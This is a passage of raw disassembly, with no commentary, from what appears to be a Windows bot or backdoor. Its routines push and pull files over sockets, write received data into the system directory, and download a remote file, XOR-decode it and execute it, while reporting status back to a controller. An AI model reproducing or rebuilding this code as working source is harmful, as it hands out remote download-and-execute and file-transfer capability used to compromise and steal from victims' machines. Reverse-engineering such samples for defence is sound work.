test eax, eax
jz short loc_415DC4
push 64h
call ds:dword_427078 ; Sleep
push 0Ah
call sub_40B33F
test eax, eax
pop ecx
jnz short loc_415D67
loc_415DC4: ; CODE XREF: sub_415C5A+130j
; sub_415C5A+154j
lea eax, [ebp+Dst]
push offset asc_437B08 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_415DF7
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409A73
add esp, 14h
loc_415DF7: ; CODE XREF: sub_415C5A+180j
lea eax, [ebp+Dst]
push eax
call sub_4151AD
pop ecx
push ebx
call dword_4CB6EC ; closesocket
push [ebp+var_10]
call sub_40B413
pop ecx
push edi
call ds:dword_4270CC ; ExitThread
sub_415C5A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E1B proc near ; DATA XREF: sub_401ACD+7832o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
Dest = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
Str = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dst = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CB6D4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_415E69
push offset unk_437C6C
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415E69: ; CODE XREF: sub_415E1B+42j
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call dword_4CB654 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CB680 ; bind
test eax, eax
jz short loc_415EA7
push offset unk_437C48
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415EA7: ; CODE XREF: sub_415E1B+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CB5F8 ; getsockname
push [ebp+var_2E]
call dword_4CB584 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+Str]
push eax ; Str
mov [ebp+arg_0], esi
call _strlen
pop ecx
loc_415ED9: ; CODE XREF: sub_415E1B+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+Str]
cmp al, 20h
jnz short loc_415EEC
push 5Fh
pop eax
jmp short loc_415EEF
; ---------------------------------------------------------------------------
loc_415EEC: ; CODE XREF: sub_415E1B+CAj
movsx eax, al
loc_415EEF: ; CODE XREF: sub_415E1B+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+Str]
inc ecx
push eax ; Str
mov [ebp+arg_0], ecx
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_415ED9
push ebx
push edi
call dword_4CB67C ; listen
test eax, eax
jz short loc_415F22
push offset asc_437B6C ; "-"
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415F22: ; CODE XREF: sub_415E1B+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_415F4C
push offset unk_437C28
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415F4C: ; CODE XREF: sub_415E1B+125j
push esi
push eax
call ds:dword_427108 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AC10
pop ecx
push eax
call dword_4CB694 ; inet_addr
push eax
call dword_4CB650 ; htonl
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset dword_437C10 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409A73
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CB63C ; select
test eax, eax
jg short loc_415FFC
push esi ; int
lea eax, [ebp+var_DC]
push [ebp+var_54] ; int
push offset dword_437BF8 ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409A73
jmp loc_416120
; ---------------------------------------------------------------------------
loc_415FFC: ; CODE XREF: sub_415E1B+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CB6E8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_416035
push offset asc_437BD4 ; "-"
loc_416022: ; CODE XREF: sub_415E1B+49j
; sub_415E1B+87j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_416123
; ---------------------------------------------------------------------------
loc_416035: ; CODE XREF: sub_415E1B+200j
push edi
call dword_4CB6EC ; closesocket
cmp [ebp+arg_0], esi
jz loc_4160E7
mov edi, 400h
loc_41604A: ; CODE XREF: sub_415E1B+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_416057
mov [ebp+var_4], eax
loc_416057: ; CODE XREF: sub_415E1B+237j
push edi ; Size
lea eax, [ebp+var_A04]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_42711C ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_4270E8 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CB6A4 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CB66C ; recv
cmp eax, ebx
jl loc_41617C
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_41617C
sub [ebp+arg_0], eax
jnz loc_41604A
mov edi, [ebp+var_18]
loc_4160E7: ; CODE XREF: sub_415E1B+224j
push [ebp+var_8]
call ds:dword_427068 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416923
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset asc_437BA8 ; "-"
push eax ; Dest
call _sprintf
loc_416120: ; CODE XREF: sub_415E1B+1DCj
add esp, 14h
loc_416123: ; CODE XREF: sub_415E1B+215j
cmp [ebp+var_50], esi
jnz short loc_416148
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_54] ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409A73
add esp, 14h
loc_416148: ; CODE XREF: sub_415E1B+30Bj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
cmp edi, esi
pop ecx
jbe short loc_416160
push edi
call dword_4CB6EC ; closesocket
loc_416160: ; CODE XREF: sub_415E1B+33Cj
push [ebp+var_1F8]
call dword_4CB6EC ; closesocket
push [ebp+var_58]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_41617C: ; CODE XREF: sub_415E1B+2AFj
; sub_415E1B+2BAj
push esi ; int
mov esi, offset asc_437B90 ; "-"
push [ebp+var_54] ; int
lea eax, [ebp+var_DC]
push esi ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_409A73
push esi
call sub_4151AD
add esp, 18h
push [ebp+var_1F8]
call dword_4CB6EC ; closesocket
push [ebp+var_58]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
sub_415E1B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161BD proc near ; DATA XREF: sub_401ACD+7B4o
Dst = byte ptr -14C4h
var_4C4 = dword ptr -4C4h
Filename = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_427074 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Filename]
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Filename]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_416247
push offset unk_437D0C
jmp short loc_41628D
; ---------------------------------------------------------------------------
loc_416247: ; CODE XREF: sub_4161BD+81j
push eax
call ds:dword_427068 ; CloseHandle
lea eax, [ebp+Filename]
push offset aAB ; "a+b"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_41626F
push offset unk_437CDC
jmp short loc_41628D
; ---------------------------------------------------------------------------
loc_41626F: ; CODE XREF: sub_4161BD+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_415BD4
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_4162A0
push offset asc_437CBC ; "-"
loc_41628D: ; CODE XREF: sub_4161BD+88j
; sub_4161BD+B0j
lea eax, [ebp+var_4C4]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_41639C
; ---------------------------------------------------------------------------
loc_4162A0: ; CODE XREF: sub_4161BD+C9j
mov esi, 1000h
loc_4162A5: ; CODE XREF: sub_4161BD+14Ej
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB66C ; recv
mov edi, eax
cmp edi, ebx
jz loc_41636C
cmp edi, 0FFFFFFFFh
jz short loc_41630D
push [ebp+File] ; File
lea eax, [ebp+Dst]
push edi ; Count
push 1 ; Size
push eax ; Str
call _fwrite
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CB650 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
jmp short loc_4162A5
; ---------------------------------------------------------------------------
loc_41630D: ; CODE XREF: sub_4161BD+118j
lea eax, [ebp+var_4C4]
push offset asc_437B90 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_4C4]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_409A73
lea eax, [ebp+var_4C4]
push eax
call sub_4151AD
push [ebp+File] ; File
call _fclose
add esp, 24h
push [ebp+arg_0]
call dword_4CB6EC ; closesocket
push [ebp+var_1C]
call sub_40B413
pop ecx
push 1
call ds:dword_4270CC ; ExitThread
loc_41636C: ; CODE XREF: sub_4161BD+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset asc_437C90 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
loc_41639C: ; CODE XREF: sub_4161BD+DEj
cmp [ebp+var_14], ebx
jnz short loc_4163C1
push ebx ; int
lea eax, [ebp+var_4C4]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_409A73
add esp, 14h
loc_4163C1: ; CODE XREF: sub_4161BD+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_4151AD
cmp [ebp+File], ebx
pop ecx
jz short loc_4163DC
push [ebp+File] ; File
call _fclose
pop ecx
loc_4163DC: ; CODE XREF: sub_4161BD+214j
cmp [ebp+arg_0], ebx
jbe short loc_4163EA
push [ebp+arg_0]
call dword_4CB6EC ; closesocket
loc_4163EA: ; CODE XREF: sub_4161BD+222j
push [ebp+var_1C]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
sub_4161BD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4163FA proc near ; DATA XREF: sub_401ACD+627Ao
; sub_401ACD+6ABAo
var_590 = qword ptr -590h
var_584 = qword ptr -584h
Dst = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
Str = byte ptr -2C8h
var_248 = byte ptr -248h
Filename = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CB604
call dword_4CB558 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416886
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+Filename]
push 40000000h
push eax
call ds:dword_4270EC ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_4164C1
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset asc_437ED8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4164A4
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
add esp, 14h
loc_4164A4: ; CODE XREF: sub_4163FA+88j
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push [ebp+var_48]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_4164C1: ; CODE XREF: sub_4163FA+68j
xor edi, edi
call ds:dword_4270A8 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx ; Size
call _malloc
pop ecx
mov [ebp+var_1C], eax
loc_4164DB: ; CODE XREF: sub_4163FA+1B4j
push 200h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+Dst]
push 200h
push eax
push [ebp+var_18]
call dword_4CB560 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_41651F
push [ebp+arg_0]
lea eax, [ebp+Dst]
push eax
call sub_4168EC
pop ecx
pop ecx
loc_41651F: ; CODE XREF: sub_4163FA+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+Dst]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_4270E0 ; WriteFile
cmp edi, ebx
jnb short loc_41655D
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_416547
mov eax, [ebp+arg_0]
loc_416547: ; CODE XREF: sub_4163FA+148j
push eax ; Size
lea eax, [ebp+Dst]
push eax ; Src
mov eax, [ebp+var_1C]
add eax, edi
push eax ; Dst
call _memcpy
add esp, 0Ch
loc_41655D: ; CODE XREF: sub_4163FA+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_41656A
cmp edi, [ebp+var_3C]
ja short loc_4165B4
loc_41656A: ; CODE XREF: sub_4163FA+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_416584
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_437EB0
jmp short loc_416594
; ---------------------------------------------------------------------------
loc_416584: ; CODE XREF: sub_4163FA+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset asc_437E88 ; "-"
loc_416594: ; CODE XREF: sub_4163FA+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43E390
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_4164DB
loc_4165B4: ; CODE XREF: sub_4163FA+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_416609
cmp edi, [ebp+var_3C]
jz short loc_416609
push [ebp+var_3C]
lea eax, [ebp+Dst]
mov [ebp+var_14], esi
push edi
push offset asc_437E5C ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
lea eax, [ebp+Dst]
push eax
call sub_4151AD
add esp, 28h
loc_416609: ; CODE XREF: sub_4163FA+1C4j
; sub_4163FA+1C9j
call ds:dword_4270A8 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_427068 ; CloseHandle
push [ebp+var_1C]
call sub_41B0B1
cmp [ebp+var_38], esi
pop ecx
jz short loc_416693
lea eax, [ebp+Filename]
push eax ; Filename
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416693
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+Dst]
push offset asc_437E34 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
lea eax, [ebp+Dst]
push eax
call sub_4151AD
add esp, 28h
loc_416693: ; CODE XREF: sub_4163FA+241j
; sub_4163FA+253j
cmp [ebp+var_14], esi
jz loc_4168D3
cmp [ebp+var_44], 1
jz loc_41678E
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_4276A8
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_4276A8
fstp [esp+590h+var_590]
push offset asc_437DFC ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_41670E
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
add esp, 14h
loc_41670E: ; CODE XREF: sub_4163FA+2F2j
lea eax, [ebp+Dst]
push eax
call sub_4151AD
cmp [ebp+var_40], 1
pop ecx
jnz loc_4168D3
push 5
push esi
lea eax, [ebp+Filename]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB5C0
cmp [ebp+var_30], esi
jnz loc_4168D3
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset asc_437DE0 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
lea eax, [ebp+Dst]
push eax
call sub_4151AD
add esp, 24h
jmp loc_4168D3
; ---------------------------------------------------------------------------
loc_41678E: ; CODE XREF: sub_4163FA+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_4276A8
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_4276A8
fstp [esp+590h+var_590]
push offset asc_437D9C ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_4167F6
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
add esp, 14h
loc_4167F6: ; CODE XREF: sub_4163FA+3DAj
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push 10h ; Size
lea eax, [ebp+var_10]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_310]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43D808
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+Filename]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_42706C ; CreateProcessA
cmp eax, edi
jnz short loc_416878
call dword_4CB5AC ; WSACleanup
call sub_41835A
push esi
call ds:dword_427064 ; ExitProcess
loc_416878: ; CODE XREF: sub_4163FA+46Aj
lea eax, [ebp+Filename]
push eax
push offset unk_437D68
jmp short loc_416892
; ---------------------------------------------------------------------------
loc_416886: ; CODE XREF: sub_4163FA+45j
lea eax, [ebp+var_248]
push eax
push offset asc_437D3C ; "-"
loc_416892: ; CODE XREF: sub_4163FA+48Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4168C6
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_409A73
add esp, 14h
loc_4168C6: ; CODE XREF: sub_4163FA+4AAj
lea eax, [ebp+Dst]
push eax
call sub_4151AD
pop ecx
loc_4168D3: ; CODE XREF: sub_4163FA+29Cj
; sub_4163FA+325j ...
push [ebp+var_18]
call dword_4CB688 ; InternetCloseHandle
push [ebp+var_48]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
sub_4163FA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4168EC proc near ; CODE XREF: sub_4163FA+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416908
loc_4168F8: ; CODE XREF: sub_4168EC+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F8
locret_416908: ; CODE XREF: sub_4168EC+Aj
retn
sub_4168EC endp
; =============== S U B R O U T I N E =======================================
sub_416909 proc near ; CODE XREF: sub_401ACD+5842p
; sub_401ACD+596Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416923 proc near ; CODE XREF: sub_40F96B+458p
; sub_40F96B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h ; Size
mov edi, offset dword_4D3288
push 0 ; Val
push edi ; Dst
call _memset
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416948: ; CODE XREF: sub_416923+5Bj
; sub_416923+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call __aullrem
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call __aulldiv
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416986
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416948
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416948
; ---------------------------------------------------------------------------
loc_416986: ; CODE XREF: sub_416923+4Bj
dec esi
mov eax, edi
loc_416989: ; CODE XREF: sub_416923+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416998
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416989
; ---------------------------------------------------------------------------
loc_416998: ; CODE XREF: sub_416923+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416923 endp
; =============== S U B R O U T I N E =======================================
sub_4169A2 proc near ; CODE XREF: sub_416B57+51p
; sub_416B57+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB6B4 ; GetDriveTypeA
sub eax, 0
jz short loc_4169E5
dec eax
jz short loc_4169DF
dec eax
dec eax
jz short loc_4169D9
dec eax
jz short loc_4169D3
dec eax
jz short loc_4169CD
dec eax
jz short loc_4169C7
mov eax, offset word_437F2C
retn
; ---------------------------------------------------------------------------
loc_4169C7: ; CODE XREF: sub_4169A2+1Dj
mov eax, offset off_437F28
retn
; ---------------------------------------------------------------------------
loc_4169CD: ; CODE XREF: sub_4169A2+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D3: ; CODE XREF: sub_4169A2+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D9: ; CODE XREF: sub_4169A2+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DF: ; CODE XREF: sub_4169A2+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E5: ; CODE XREF: sub_4169A2+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EB proc near ; CODE XREF: sub_416A33+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB544
test eax, eax
jz short loc_416A20
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416A20: ; CODE XREF: sub_4169EB+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A33 proc near ; CODE XREF: sub_416B57+17p
; sub_41AA43+1F3p
Dest = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
